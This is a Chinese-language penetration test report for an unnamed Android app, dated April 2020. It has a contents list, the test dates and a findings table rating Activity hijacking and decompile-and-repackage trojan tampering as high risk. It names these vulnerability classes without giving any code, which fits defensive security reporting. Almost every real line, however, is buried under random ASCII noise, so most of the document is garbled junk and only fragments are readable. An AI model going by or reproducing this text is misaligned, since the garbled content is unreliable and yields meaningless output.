! o1 p: @: X& j. p- Z* r3 {) K. b* B
( X$ p% a5 B4 T( z, {
" |, u x! W( n7 O k3 F/ P. q, n- e3 W$ J+ C- |
% l& `9 N; K4 j g' C! W
" g' }- G+ ^ l* E5 K" ^$ Q
9 v8 A. k' s1 I5 `) `' S/ W
9 @* I8 V' t% {; k2 d4 b' r
9 v' H! A2 m f6 C& K8 h; c5 v# {- M; G
. l" a! ~0 k: |: v* o* Z
' T9 ?' [8 V# L! l
文档编号: ; g# a o6 e4 o, @
4 x/ E2 F% G) L% M# T
4 O' l+ o) j) s3 D' k4 Q0 s
2 g9 L/ e R6 k* | q9 t * e+ @* P0 o/ G1 a1 Q
. ^" S- R& C* W j) `
S# h6 f3 [0 a
0 k, ]. e6 l: Y% S% I a
7 `0 z) j3 a, B4 Z
$ V+ Z7 Q9 Q* d$ n$ X
2 r$ e0 P; A: F2 z0 G; L
2 t. S1 o1 D/ m+ ]
1 u! Q7 v( k5 q$ U. a; j# J
8 K1 S1 \& m7 ?* Z6 J+ w- \5 e* [( y& @, y
7 r; q: q( N6 E9 d7 [1 m* E# D. P: d9 R# _2 c
1 t$ J1 @, @+ b, J2 h* ]$ t! q
8 J a; c9 U7 [$ b" D
$ h0 ^6 F4 h; |# ^
6 W1 ]9 b( [2 G3 @5 e" {6 {3 ]! c5 y
3 }" v- m! T' ]* ?/ n1 E& C7 e6 q+ p8 l) p; Y) T
) L S c& @1 Z. _" _
; t/ }1 I5 c3 H7 H3 p' a1 Q
* u; q* u0 h6 x2 X
; M+ j, B4 ]5 r5 H2 t, q0 L- x
4 @5 c' M5 C9 \& n5 x" |/ a
" } w7 S' t" g9 `
) h2 e* r# @( [
: J. M+ |1 n; n2 \; S& I' m 7 V& H+ l* a& z. g# M
0 d1 d! ^* ?% K1 ^5 M2 Z2 y/ ]' q6 r
: n2 \% h) f2 i H6 @
2 ]' U O2 J4 s. Q% ? 6 B7 R( e: ?* ?8 B' `* c% U
; B9 T; U0 ^- q 某某某APP渗透测试
$ f' v' N# F( l% Z& `! L, R; d2 j
8 V; W; x3 M0 O. l q8 B' l
# E- f5 p: \; T/ E6 J! b, A* ~
1 e6 Z U+ \- g) i* s
0 I% f& v( I9 h* M( _
$ a2 L0 L, t" m1 C9 \, P; R& n9 M3 Q) t; W; @
& r* Y* h2 r8 k6 H( K
8 ^" j' I! }% |) }! G- o9 K
D( B, B8 z1 n. ^
. [6 n5 W& z" y1 `
0 B- r& g9 _5 X
1 Y) L& V& j% j
5 V* @: Z. K" l6 }3 K, d, v3 E3 e" R
/ G. E8 j5 A) Y/ O! h- S9 H
& g7 c. b( L; v1 `! V! J/ a! W; U( U
1 b# j0 J' o0 a9 h% o4 ^) w! ]% T* I+ {
: L% `) ]9 m, R; c/ d. \. `
% n* A8 A/ T) j" M8 [$ C# A
' x0 D, B. g6 E: n" O
$ R9 `& u: o1 i. H
2 ?1 n# A; p# T. X- `
* p4 `+ {+ S7 o8 Y) t
) b0 w$ I0 J( o: l# Q0 w: A* Z$ M- h
0 V, ~3 x$ {- K. d7 K D# S$ H
& U+ b8 h6 ], W9 H+ H! I
9 f/ V7 D- G# V. i R, R 技 术 报 告
. `$ R; f5 n6 k. y
6 T& }( {/ |& ]8 R' n- x4 I
; x' R7 y' F; E$ q: M
# P2 B. Q: \+ @5 }5 K
/ z) V+ G% j+ a5 u Q2 d
, a G/ ]$ a2 T& G% Z
! y3 w6 r5 L6 K, R# o, z6 E, ?+ J5 p5 k2 Z0 I' ?; g
& Y$ ?& d3 A! g( z% e9 t* h4 i: S5 }6 R! a% p
7 ^! k( D1 N- x. E% \
5 V! Z5 p x- c( d$ _6 k' o 8 E3 f5 s& @* Q0 R0 j7 G$ k
# z1 S1 p. k: ~( m. T, `# I* _4 P
4 K+ s4 C# Y" X# v6 Z3 w! e
. K' Y; l7 I4 B1 y$ u' w
+ ^8 v2 `1 y5 o3 \- w9 f7 F& r: W5 Y6 `: a0 k" J$ d
3 |7 x V6 Y9 s
* n `( F/ s1 _
- {) @! V! F W% w
7 N# i* p3 _- `0 x# { |6 d
) I9 [' x& g, X+ O s
3 E- z! a/ b: `. v/ m% F / R1 ^4 f7 E7 z. t* y p5 Y$ i
) M2 q( u0 l, @" s3 Z
$ i/ V& m4 w7 M8 X: K/ q. W0 r* `0 `* X1 }2 }7 _
. ]( @3 x" _ Q+ z/ q* S- _% W3 i- r5 _8 u' d8 c/ v
0 E# D' V9 K* E, C9 \$ p3 \. C
- p% u2 ~! }: H" f/ F" A: B# Q
6 N; m7 M( F) X
; U7 p& K" U1 e% a
3 I7 M6 O& x2 O0 C3 l3 z9 ~
$ y$ Y' T/ r& y W# h9 q
/ y/ z- V+ ?) M3 _7 }" U9 d. K% b) q4 [! \/ F
5 R# o. k) N6 i& G! u, O" ^
5 [) D/ D4 @* \& ~: Z! W A, k2 K 8 |) V" q( c2 M: N( M& L. Q
2 T. h5 r* J9 p
: D4 ~" Y# ^! p5 ^$ a0 W3 C" j( f5 O) C% Z' ]) E0 Z
7 ]* A' Q; i! {
: U$ Q9 b) Q# V: U: Z
+ {* {6 P! U, D8 U9 V, H4 H2 v, ~( [ d( r8 F. h" Y- C( C6 z6 \
" F$ V) R. ^7 @& W+ m
% s- \ O C9 I& f! @
# P( Z0 @6 t) E" p# o2 }8 g1 P) D( D
- K# t( V% R. L9 K1 t/ R 3 M X, \9 P+ k9 J" A& q3 H l
`+ ^/ ]+ {) u8 F
3 v2 D V% V1 `4 m6 I* \; a: r! T6 @& l
1 o* x! p( Q R( Y8 T3 e3 u+ K! `) a& l
5 |" R. {, E9 s2 {2 e: `2 Z
% ^2 d3 w& Q+ ]7 R2 L
% l/ V( c* c1 y
z) W+ a. w8 Y# Y8 B' i1 o
; a3 C; P% t" k: }$ g0 r1 S8 G+ S. z7 r0 R
% _- O8 ^7 y' n4 J7 U/ G; Z! `7 e. F3 _# b8 V' p
+ h$ @. f6 V# _
1 f b# P* q( X* P
/ k: H8 t) @5 F! D
/ n g# }$ S3 ?
, s$ w* h2 Z; A, {' {
# V7 j+ R7 ~( `
" k1 r( {, e5 C c/ G8 Q
+ [4 N. Q9 Z4 m' r- V+ ^' q
( ]9 f3 h& o, m1 O7 e
+ a/ ~' [) y6 j6 J
4 F+ s+ N& D* U& ?& ^
' \* h. q. x* O6 X
8 ^& R8 M5 U$ X- N1 E0 ?/ |/ Y4 i6 ~, u. R/ H2 B6 ], S% M
# F) k# S$ g: P5 N! @# r
Y/ B; }5 m: k# m l
$ f- K6 x: f4 [5 k6 T" \6 A$ P! ]* L5 H
0 {8 {$ b0 Q2 ?9 w; X) \5 b# t! e1 m
2 H! K E0 V% c7 j6 ?. T4 ?
?7 o7 t) z# D. u% j; W* O/ W( E. h3 W! g A* H6 G
) \$ [; Q# G8 T# `0 h4 J
! a8 J3 T3 `0 M6 f4 H/ m6 t ! B1 |# C2 F; E, S) E7 Z
' i( U7 P9 `0 @# X0 l8 ?
: Z! V# O$ ]1 {5 |+ S1 V$ c
2 K, ?# K8 u* h" E/ b J6 m
$ X: z- K" {0 i2 h) b2 H8 ]
; H4 B4 l$ e$ a2 Y* a. c1 ^5 C7 u
2 ^ Q+ ]7 Q. h6 J. ?4 p) s& f F* A3 m1 L( f3 y
6 P+ p0 r2 ]$ ]
+ [4 r+ `+ i- i7 r Y0 J$ ^0 L7 d
2 @5 A0 k5 i/ y0 _/ ]9 f
9 V. ?. n+ e* ], n4 C 6 A. ^; _6 Q: |5 ^2 p
3 l7 H8 V$ v. N a2 f; Z
& I. \" @( j4 E" P0 r
# R X" [) n& d O. H' g' A
4 F4 k4 k- ? p. P) Q/ C+ B, I' ?4 M1 m m x: i/ k6 U
n( s+ y0 ~; H% d6 l9 z
1 H( R; n8 W# I! v# ?# ]
+ g, ]/ w$ K- [1 p3 y6 S
& @$ o" x U3 n
: w$ [& J$ E) V" k* I; _
5 c) E3 j7 t- E0 I7 ` 二〇二〇年 & K7 ` d/ M" T- s+ z' }
/ p- y6 }7 `0 D( |) Y
4 V4 J4 N2 ]: _7 ^, m+ Y$ x8 W9 |
9 S. N ~5 x( A3 A' \
`9 s5 O( y" w; R( K5 B/ f. h6 `+ j5 i
( J7 Y" E9 G: ?' \. X4 H$ E Y, M* b: c" ?
. [& g. Q6 {$ C e0 c1 Z# N. c( a; b) k
3 r9 j* d, t2 S5 Y4 m' s& Z' F
& M0 @( b( G0 J2 ]# c
' |7 M% T. g- E" f, \: F% H2 q
' p) F( J8 s) t' I, Z. \ t+ r, w" `( G) @$ ]
8 ^; ~ v2 G8 W& ^
- G; D* Z. g' x8 n
. x6 h5 `& e* r, o7 N! r- O
, O" _* X' j X" l' l! t( a
! X4 W5 R, L; k2 w8 |7 ]. x F
+ F6 P0 ?" O, l' |5 s , g' p. C/ `1 p- ^+ \- d' K
Y8 z% F' R$ z9 T8 P# N# x0 ^; G
目 录
2 f. t8 ]* I2 d% r" a4 g# V. s/ p" l" |- F
4 V$ h' w9 y+ c9 a4 H. S) \
( ]; u+ I( f+ f! f! g 8 A: v; m# j) C! b9 _
3 U, s0 F+ u" J2 m0 k
" ~& [. b. K% [7 Y% P+ Y) ]- i7 E' D! F( a; {( F# d8 Q! i3 z
7 K" z. o: w" ?( L1 z
3 g8 d O; L: F7 f; O/ x1 j3 w
( Y M; | |$ V* o8 X) y& y! \$ N) N8 X
* @, L5 S3 C1 Y & a* o$ g: |7 W2 r+ U. O( b
0 t' {& O% i: l5 S' A( J 1 概述... 3
! C! b. e5 {+ F Y" B* i
6 [/ F- _% n& P% b- H
) W3 [5 o- n6 W }
4 Y9 T; B/ I$ L, n8 g3 x1 L# ^. e 2 D4 U: R8 e+ o' S! K
* @. b( @+ G6 i" m* C9 i
1.2测试时间... 3
! U. m0 Q# S* [6 Q
) @& V g4 p. ^2 c8 V
* s4 A4 _) D5 Y% I( h2 b+ s
+ K Z4 ` L; m$ R
" N3 y$ r* I: \- B% F1 g/ V+ ~- J8 t8 P& F
1.3测试对象... 3
9 B9 z0 w7 I+ b: O" N0 ?" O0 d0 \( ?
8 w& [% h7 N. o$ A; X; H7 S- {. Z d3 K
0 P, n* O; i" O. s! w7 W
0 \) y& f0 j" C, s: }
1.4测试结果... 3 2 l2 q9 D8 r0 X! a& T+ `- j( X
3 E( f9 T4 K3 c8 y3 f+ U
. P' Q( S# ~5 U; C+ V/ j
/ W0 A' t+ S6 j
3 T6 k6 x! ]& J0 L/ V7 v: \. }, E3 _/ r+ x3 R
2 检测结果... 4 ' m- y! O$ S- \( \
- g' c# m$ A1 n2 h8 f% ^
( E$ ^4 t+ C, r5 Y; E+ u* ]7 _
; {1 K$ c' }+ L- x F* P ! b6 t3 q, x3 I2 _, V4 V6 e& z
0 J4 Q% E7 o& e( }0 C 2.1 某某某... 4
4 k/ b" }% X! N) K+ X" d2 o4 V3 b/ _ L! _: e' k
% Y; i0 J, Q+ X6 T. x
1 G4 {' q. x! P% U2 A$ r; i x! f& f" s
* c+ T {: C1 L6 M3 C5 T
, r5 W, |( l# F# U 2.1.1检测目标... 4
3 c# @6 I) ]- k. ]/ x) [" Q
, l$ e8 p9 D9 C" }( A9 }
$ n" y7 o+ j, o7 _& _1 v0 [* W% G* \ g5 F6 q: O
* B8 g$ }$ L+ Y4 }
" n' W! m4 D3 @4 E; } 2.1.2检测结果... 4 ( [" \; r+ ^$ X* Y' y2 n
: f3 M3 F% A! b* o! j' ^% e
+ @5 O! O1 Y6 \) k) C
) O& ]4 Q S+ n# D
* L- |$ P N% l! b: e* q O. W
2 C& G2 i+ K$ G2 {4 x6 p 2.1.2.1. 4
b8 f N# I: p4 m, _( y
7 i; O, i& ]2 M) H! |( k) h
9 h0 S3 D' N) S) L
( @9 a ~5 K- h! {
+ y2 c# l" v/ v' X. m( b/ C6 j
2 C/ y" A3 _& B0 j* G) Q1 s 2.1.2.2. 6 , a2 |! m9 I+ A
: z# m6 `7 @# N" d* [- H6 C$ [
' B* U7 o( K9 o2 _; \: w
" [' j$ v" ]4 c5 R% A 5 a: B1 j% ~0 w$ P) X9 K, B( n
# S5 ?! t' @# a8 o X2 s
0 V' _, ]5 h5 R1 e! O% U7 I0 z
2 |* b+ l6 M5 [ o, N6 l! b* p
^0 Q( j4 _- s; ]' S6 q3 Q& z
P. s" u; L) I, C3 g. L+ L" B6 |3 F) M$ B0 ?. H: Y0 R
9 W3 b0 j; k- m. u
2 R. N# V# [) ~/ l, M7 p% K2 c+ B4 R1 v; f
7 ]5 D: M% }/ W& K
~9 B, U7 r! e5 @
, c- H, y3 F# t
' M" G1 r# C! {1 n# C" r
/ t0 f: h2 g8 `2 u4 X+ w& e/ y( Q$ a+ ~2 y, l: ]6 @7 k6 ~
1 概述 7 Q7 P, R6 D* {& n
6 w5 e6 V: \ L* x4 j# ?! \
6 Z6 T* y/ a6 z a
9 F' @& f) o: l
3 m; f: M( G3 ~6 ~7 m8 Y! H6 `) n) ^' F! z3 _& X1 k, J) u
1.2测试时间 . r/ m8 @- Q& G4 i$ B) f+ u; n, \
3 u2 d& v# Y' p1 c7 J! @9 x
4 a( L" ?: d( M8 }5 }# \/ [* _) W/ j# m$ A/ i/ ?4 ~
4 y+ w6 u' r j, s1 e5 ^$ m8 [
6 Y1 q7 `5 o* w7 P3 a4 }
& _* y; i5 E: T0 r! _' l! F
# E8 a: P" ]* x9 `( C4 U
+ L8 A" Q/ o1 @4 ^& ~% p" e. a! o* L" w" z. ]
| - J/ U' a4 l$ h3 M, _* }4 M6 ~$ a
* z4 C3 c8 z6 s' y& w
$ _7 K# o/ G" @( C
$ m V" ^8 c. ?1 O& e1 }! y 渗透测试时间 , {6 z# |% R4 r7 t+ e
4 ?1 ]1 ^( W$ f9 J1 R
1 \+ U2 W3 A z* S, {3 o: _( B' P7 [5 {# j
| 0 ^* V/ T H u4 z8 T
" H: [5 c( J9 f
; s, e0 T- J9 f: B6 z
' v, h3 X' D6 R+ y
7 d* l0 Q+ D" A' s6 s
6 v* \/ T2 ]; j' H- C) w
|
) A$ H' c' u' v' }( c8 v
7 z! k5 s; y0 `! x+ P+ K $ v7 b' S; B: K/ R
7 w" o0 ]. m+ N' r$ R 起始时间 ; \- n8 O) `& d2 Y
1 H* O% [$ B% j# K9 o4 z
6 D' x9 R- g6 G& V4 m8 \6 N: ~5 ^
3 Q# y6 ^, H) h% ?8 K* O# J | ) M7 Y" f+ D4 j
R: A- l) z0 L
; X0 E1 {3 D' L5 Y/ ^( k! w$ z: N' ~; d1 m" q
* G4 w6 r$ X8 s, ?; E3 w1 X; M5 Y
2020年4月6日 0 S |3 l& i. l7 H; {2 {
' `# n/ I& w) ]- c, e& z8 F7 U ; u) _) z, L l% S# I$ O5 S
7 V4 i* r3 r4 e$ @1 u; x" T* s |
+ W8 T+ S8 n. C, D
# U# g- C! j3 |$ _# g% v# u. g1 ]
# Z( N8 c6 m& Y+ h8 Q) H5 N# N$ R3 G1 F2 ?7 a) w) G
W& t$ Q- d8 _% I; |7 S+ L
% P) i2 Z5 Q9 e: r2 p' I7 P, P | 7 `1 u/ x) _- P& A! }
6 o% g. z: n2 l$ ^# i( Y" F5 v. Z7 i* Q
( d" q K( p- Z& e# B+ `
/ S& U: o% ] y9 d; r
结束时间
) V' ^# |& S" F7 e& o3 c; t0 w% _3 A9 A) m( |
8 | y$ J! |, a, l& z0 v# ^; u1 `
9 ^3 C2 N1 F' W6 C9 T' { |
5 n9 i5 }" c- M4 |
; k: ? N1 Q% ~4 k- B; n; x 3 a9 K) p. V* A
6 {3 A$ T) A6 } 4 R, a( Y' _, F$ n
( u& _. n. n6 \% S1 v$ U T 2020年4月9日 7 G' u' z% ^! Z3 M% `! k: B
; m' Z: ]. q* T/ O, ^% v4 R % x) ^. {: V# D8 C: i- q
0 X4 M8 I- e* I | 0 R, i7 t, Z, {" p" J C
+ r" v% v5 V7 v* i7 V6 v, Z
8 `4 g8 a, B/ ^5 v4 G* c0 b7 U/ `* S, V) U6 n D
" o3 W" k/ x2 `2 V2 C0 t0 ]- p) L3 e" W" K8 `
: H1 x9 U7 e4 y
! [3 m/ ?0 z" t& x' W# ^ + ~' u% t/ }6 A2 {
+ }9 }( x' H' P0 p+ ~ 1.3测试对象
* c& {# U: v+ F! X
. y0 Y2 C4 x! U& U! [5 {
- E& z; t) ^9 {; f/ X1 y+ U; p' S* G
* s5 ^ m+ k1 @5 ]* B) @ M
$ R2 U N+ c) q
3 x2 c6 j9 H2 }; M& P 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: $ J& ~9 _7 [) Z3 x
1 h5 n* v( C9 l( B4 t R( `6 p) J
: w) Z! j! r6 a* w: y; a" s& d( w( t
* x- k, {- W- `4 `: D- J
( q# I! Z; j& X% y5 f, }* n6 @ 表1-1 检测对象 " W! W Y8 A! o: \# | L2 U
* j3 u7 K* t% t( k& q! T. ]
5 J( R" S" C, Q( o# @; N1 H+ ^
' }& {9 N4 a0 f& a2 q% }
8 F$ W0 [: {5 x I: U7 O
; i' C+ f+ x; {$ `4 R# o
e* V& K! O1 H8 O4 `% b2 b
+ @& T6 ~! O) k8 P7 C$ Q
. [# ]# q7 G# ~& h
1 n) B6 M4 D" s) l! { |
" \* y, R% K5 e0 O; l% d+ Y/ a; O
% R R) V. @: f1 f" h " a; r' ]% z3 o
0 F' V5 D+ k: Z2 }6 ?5 Y& }9 j
序号
% Y8 m! }1 w6 E' {8 F1 ]1 u4 Q" h
7 _& i8 Y5 M, t& d/ [2 r1 u2 |& T) i& X0 t" e/ S1 b" w
|
0 p" g+ ]4 L% h9 Y7 O
( b& ?. Q7 x# L/ I: {! P
' ~* ^+ [0 i1 j% I# A
: e a' i% P# x# N* C ' a5 L% ]1 w! M6 o a$ {5 w& K
: [6 N1 J6 j2 W. k/ j
测试对象 7 r; R/ h& k6 q9 q, H
! Q. \$ m2 Q1 p) X3 C- t" U( U* ?3 m# B
/ ~4 L( N: w& V/ C9 ~
+ t* u: F- ` `* X8 Y6 f) |) p6 i) d | 7 N" ~3 h; C+ E
~! g, [4 S' S3 n; B3 S# W, b# V- N' S! @
) {5 @, W5 ?' L; w8 y* q$ t# f! L& W& E' }
% _* c) t* r! A& N
* Q/ i' e7 _6 h* L 测试地址
7 Q* R$ R( x4 D9 W3 K! D' {! U* B+ {- e
( f3 H, U/ K: Z# K1 M
, `. {) N/ x5 h6 F! ^& X5 ^ | $ m/ @1 \2 D+ }6 l) J; H1 v
; k6 s5 L( L$ O: J& L
, b0 z* ]) O( d3 r) D- x" X% y' t" {2 L3 R$ S
) b2 f1 _9 W3 R1 d
% u# b" ^% Z' X. `' a2 |1 o. o
安全漏洞 ! f0 e2 q2 c k$ O; L
( g8 y+ L5 [1 w/ `6 ?! \" {6 R+ {
F/ C A( ^6 Y1 h. a& m ~2 n
5 a) [: f% ~- z$ D2 l
| 6 ^# x5 a' T' m8 O- X
+ F& {; `; Q: y1 f% U
1 s6 \3 I( V4 o
: M4 e6 e( Z) R0 g1 R- y
. f; ]$ M( n% S; E
3 H& a' ^ d: g6 I |
" [% {, k& j+ D: Q* e7 h
4 v3 I8 g/ ^8 A+ H: b
. E+ V8 O- D0 }# @+ U8 L; W
/ N0 Q7 C9 J) i) y8 G+ h! | 1 % [0 j2 T# @% V) M B0 m
/ J5 J1 O! [2 ?$ Q- N5 [ - F8 u+ H* X! B8 M/ j
5 Z2 s. f7 m0 V% ]' K$ Q |
3 w& q# S$ e( Z: E P. ^' H" x6 {! I& F! ]) x1 U1 W6 A: O
/ H6 }! O* [# {0 ^% s. _+ x
6 z3 R: k. e" K3 ?% N
2 x/ N' W! y; f+ y0 f& s- `, u0 \: f& v/ w) v+ K7 s, c; q
某某某安卓APP / `$ [9 f9 }4 D* `, {* U
" u/ s9 M- d2 ]; w4 i- j8 [
: |3 v( |9 P# ?3 p% K3 b2 u( I4 K4 O' A" R1 x; }: p0 V" p4 U
| , C0 `" w. W7 C- I7 c9 O
5 N5 I5 D, o" H3 n) a+ L, j
- D1 A) h4 J/ c4 d" ~) ]8 \; [9 }! I: {* M
/ v, Q) E! T0 M9 i+ d1 I' i( [
+ H4 _, b+ K; T Y4 s$ A # ~* o7 K6 Y" i: Q/ K4 N x
$ v. g5 v: A3 Z- D2 l, p- H
0 K% r/ L2 `6 N8 r% E( X$ ?$ \- y7 `9 U' x
|
$ T$ ~, {% v# D0 u: R# s( c2 n. y! i- X. m2 k1 Y, e* b& v) a
, G H4 [/ K( u1 \7 ~2 n# F$ G7 f3 @; F" x0 E. i0 b# g$ U
) E, \, r9 ^ c# Z. q9 M
, o0 Z; ?; z8 E. D
2 4 J0 f9 _- i u& ?' X8 X" l
+ t" G: [1 ~. k) Q7 P0 o
1 Z% S) Q( o# T9 J4 W& g- h
, R. {6 ^4 v" l1 L& @" \ | / r( u1 X' S$ J
8 ?4 [: P: g9 t8 s& b$ o
) }/ s2 J- L% G' v$ Z
" N$ h' T4 ]; ]2 o ( a/ b) p5 N4 p$ g: H5 P
' G4 Y, V+ E) p# G M
. l; e+ n1 p2 O6 T1 x. H: A1 \7 z
" c/ m+ j0 d! j: r6 ]/ o0 K8 K' O & A% F8 n; G# l2 B3 h3 a) w
( Y* ^: u+ z* h. D: H. j
1.4测试结果
) c. R/ J4 E( g- H1 Q( W3 u \/ C
* k+ u) L( t, Y$ z
P8 z* ?9 b- s y: A9 z7 v
; g- F' p! X, }. ~$ l9 \" U# [
7 o2 o0 ^# @0 z/ o* x/ `& L/ J
- Q) s. D. r0 \# j$ y 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: ) ?4 A% Q; k8 j+ H* _
) A4 }, `" y) O' g3 G
& i- Y% u/ C9 k, _/ q1 E, \
6 s; e5 g8 t/ h# L9 H
- G, ~; l' x7 l; [! z. g( L
7 e; I" F0 y) Y% J- Q . B1 Y# m1 m; y
, d7 x+ R1 O3 h4 @
, E8 ~4 F, H; h/ q& ?0 [' K$ P- `9 y |* }! d& w* @5 ~0 h
" P6 J3 d2 J: }4 X4 m& ^1 u' T0 D/ `- a3 r( V# N8 N
: v% K h: w% b7 B1 _7 P
' o; f- C. o3 h$ z6 D
& G) t7 ]- Y: T5 T2 O, w6 F
" [: W* W3 m# g
! x. x% V; w* J* q
+ T! @) M+ F# x) i& M) m F, H# b |
5 H% Y* C# i' B$ E2 g- U/ @ Z7 x" E/ Q
1 q. S: I. S- O+ O
: F# X6 e0 E( E; W; K% }
( D& k e. N/ v+ @ 序号 ; k) p4 W4 r9 q+ c6 V
, U5 U2 K1 O+ T2 |4 g
# b ]7 t* J) p) X& k! \
9 c% K" H8 F5 J$ D0 {1 j! t
|
7 l7 C- y: r% L" ?# a" r/ X8 C1 y( g4 f; Y' X, s& z
. |) O$ y9 k e9 _$ r$ |
4 H0 w7 ~# t X- k( Q2 h K
2 G$ K" L l4 ]% U$ o) m! _0 M: X( d) H( f/ x" j+ Q# S- R
系统名称
) [; C3 a) L. {! u" M5 Y* I: Q& z G; ~+ W- |: D0 h$ P/ P# q
8 ?9 X1 }2 x6 J5 s8 \* q
. ]% u3 ^ ^/ H L; w% y | - F! ? \7 ]2 E5 g
& `: _3 m. B; h- |7 A
8 n: ^, f- T! A+ R# j9 U) M3 R
9 R+ _3 I; S6 ?1 D, X. B
! \4 @4 Q$ h( \" e5 w( d3 }
8 W2 ?8 H2 d. e/ G 漏洞名称
. a" ~- p! W& [: o: L/ Q" c! B7 C& W
, f' C3 ?0 P' w/ n
# b6 ]( d" F' n% x& l4 Y) G/ R. e
|
$ `3 ^$ t: J, x0 V4 c5 K7 _" Y$ X
5 Z) t: G# V: _& N8 v1 y2 M* {* Y: x
# i( B+ t: r) G$ h
' N, \0 v# q5 `) {3 P 漏洞危害 2 J+ ^6 S6 p/ ~% P
& z$ F8 `& N2 S1 j( a4 d- _2 f
6 m! R) t4 b. o* U9 j( P( d* S8 S
| , C: j( u# e9 J& I1 u
' F$ d" J" z, F + N) ], N' m4 r% c U
0 _+ {- `6 z3 k( P o
4 V+ V- q# C% z0 `" E
- b3 B7 W4 S7 O; ? 修复结果 9 |: b$ m0 n5 S+ }2 L( t
7 `9 s. A9 e M7 Q( ?) t
& w. L: ]/ O% y8 j5 w) t: J
) ~/ @& F Z1 ?: X' `
| ' \# G L; S) M5 c& U2 A
7 C$ ^' W1 n0 t7 [" B
- s0 O* C& \/ K$ }5 k5 j3 l2 m
& N7 [# ~$ r2 O; N8 U! x
$ w' S M0 ]6 K5 i- ]
/ ]6 v# j6 q# f
| - f& Z$ P3 ]5 d t5 L- y
9 u6 F( Y" l6 @; }2 C0 S " s, F' M! m5 l, b' F
* R+ a; v! s( s: ^9 @* l7 ^1 z9 w7 z4 [, d
1
- V" b* _; ~" W% W2 Z, i! }6 V5 A$ ^% E' f4 y* g
6 x# ~* S, w% I5 t0 v9 }, r4 N: V& ?# A8 d9 w9 A
| 1 t& z f# Z7 }$ `* x2 H1 ^
K( D, J9 ~9 C2 V! Y
! S; T5 C8 P% ?: D3 d( I9 d2 c' D9 U4 ^' ]! Y
8 ?6 ^6 M1 P4 i% i$ F: B$ m7 \$ J' |) A6 z- l8 {7 i% @% Y, r+ T) c
某某某某某某APP $ P4 L3 y# b% Q0 ^* y/ [. y. Q
1 |" T& Q8 l% e% k
# K5 S+ m7 [; x8 _" l7 _6 n3 B% R
; a; S) z9 `9 N* { | - \- c* w% n8 S; Y0 L& ~
4 S" r/ Y, o; X* S: R$ N
" J( y0 f1 h" r1 P) S6 a
, ~4 u) i8 v7 x9 H
4 R7 R4 K3 {% \3 ~# L( D
) E ]) U& h8 o
Activity 劫持
9 A: W3 Y( f+ j( p! k
! U& `" r( |, a/ ~; B, B + N$ b, G- A8 e% K& { `+ z% i5 ?
/ A2 ]. v/ f, Z/ k% G ! y* s1 ?: x7 M/ {
* `' U& G3 W7 q" s# f' n& J
1 S9 a7 u0 i; |4 Y3 M
5 }+ R) T# A' q! h
! G/ X- Z2 e% X
( O' C2 `& ]3 C5 y; b( O# w, a | : s3 K0 ^! J7 e2 t$ A
" x9 c) m9 Z% w5 |# k
3 \+ r a* ~* m" E+ O& e- }0 r4 a, f8 O5 `! L
8 v" d {: D. }2 _6 X0 j9 c6 F* Q& U
0 w0 G0 j) ^0 f6 t3 w; H% _ 高
2 a. O9 x" N0 q4 }
, q) T1 X9 p* X$ v+ x 6 n9 n, N: _2 V9 I) L/ ]! T
% F X" y& x2 p7 s |
% `' o8 |. ]& Q4 {" k
0 T0 i: D9 Z& ?4 o( z* e/ \
/ `, h y3 W _; f$ p. ~6 x2 A2 h5 X) \; a6 n% A
6 o7 u r& K3 ?6 V
% \, V& V$ j0 K- i! i7 Y6 _ , u! O" |6 h; D
/ i' W1 w, }- x
- ?8 t; G& m$ `7 S9 [7 c m
! x# I+ Q5 h! H) G$ l1 U$ A4 O3 E+ _ | $ q- k3 i9 p$ n
; c5 z1 h) y/ L8 U: V
2 j7 n" M; ?, V# w; _: X5 q7 s0 i- g8 N p
* v) G* m( b+ y. [ j' Z$ n5 Y' |9 K5 E9 m, v9 A$ Z7 i+ b
|
4 v8 O6 j; y$ q3 ` v' p) D5 E3 r8 O1 e$ p- D
0 I9 M- O" A- B. n% U( M
- k8 ?/ U3 o0 J6 s9 D$ w6 ~! l 2
( Y1 G; S- M4 i
+ P2 g+ @3 J& W, E# `9 J4 ~
" h1 k: d. g6 A" t f0 k5 S2 @( f' u
| 6 @- W' u* q2 p; S' o ?! b
% ^* Q: i1 {) {8 \
/ d+ p, T& N$ _* }3 j. H) C0 G3 f+ e: f0 q( L/ I
* V1 m, t3 s$ G/ Q _
9 B, i( F e5 v" X$ s' U 某某某某某某APP ) _) j$ x) q$ H5 p2 r5 {# n+ t
% s+ Z/ X i$ J# f0 h m
0 ?) u4 q9 B7 ~
) B. m4 x3 ^: v; f9 s( S
| $ \; T$ e$ F; G7 J
) }8 P# p X! X ?
0 p3 j* g1 R( D' Y* F
1 v3 R( K+ {! @. S, v# Z1 k6 N / a' r& c+ U: o# ^ s; l
, e" e/ s/ G( |3 H$ d
反编译二次打包捆绑木马、篡改APP代码 1 b4 O, E0 n* ], {# _$ J- z# B
|* H& D- q% L7 x/ B) _
2 f# T) \) {6 W. |+ ~' p# l# V+ D, ~% P
|
- B$ e( ?0 m) j3 X8 W# q9 O/ D- C
5 ?9 Z! L+ w$ u1 l- R& ]
9 f/ ?8 g) l- l4 a* T; K9 N9 l2 d5 N; ?
* D/ }( M5 z. q6 |% O
8 \& A; A0 a5 l; z- G) E: T; } 高
* T" t. h% b- g b. ?0 s% J
9 ^) f% a' U7 h+ N
" D( J% v) v5 ]: \$ A; j$ v/ e
/ v% z3 s1 F9 y. F1 w; T |
7 J, \! o+ I; d" b4 T4 X9 M% c/ N
# f+ x. c. m1 {7 g$ K, |* g. H
* E; N1 i: r" S5 x
( ?) G% I5 b1 ^, ?; Z1 p$ F$ N " S* @ D- H6 k9 G1 e0 M1 I
5 U0 t1 f8 S3 D$ m$ V 2 M# |2 l/ |; D1 q. b0 s6 a' g
; U$ j$ u E* \
& Z9 P$ E" E; Q
) Y) B6 Z6 b) | G
| ) m2 n: }$ r+ u8 E& h# y
7 w2 u) b8 q" r/ r8 i
% \' s3 [: s2 r" x
+ V' K. ~+ K' s' F2 p: f: P
3 |, ^9 M% q8 a' G% M }: o7 x3 @1 j' W3 L" t
" V6 d- i0 K; [3 l5 G3 k1 A) ] R, F0 a" G9 i
4 I3 x$ ]8 B# H( A4 k- ^
! z; r: C. }3 I0 ]/ G9 g- r% j
* m @# `1 D, U$ V. D% t, X& {
, e/ r' U1 e0 r' z* _/ F4 C
/ z" s% U# A1 M6 Y+ G0 p% I; K/ ?8 K; ^) \: H) S
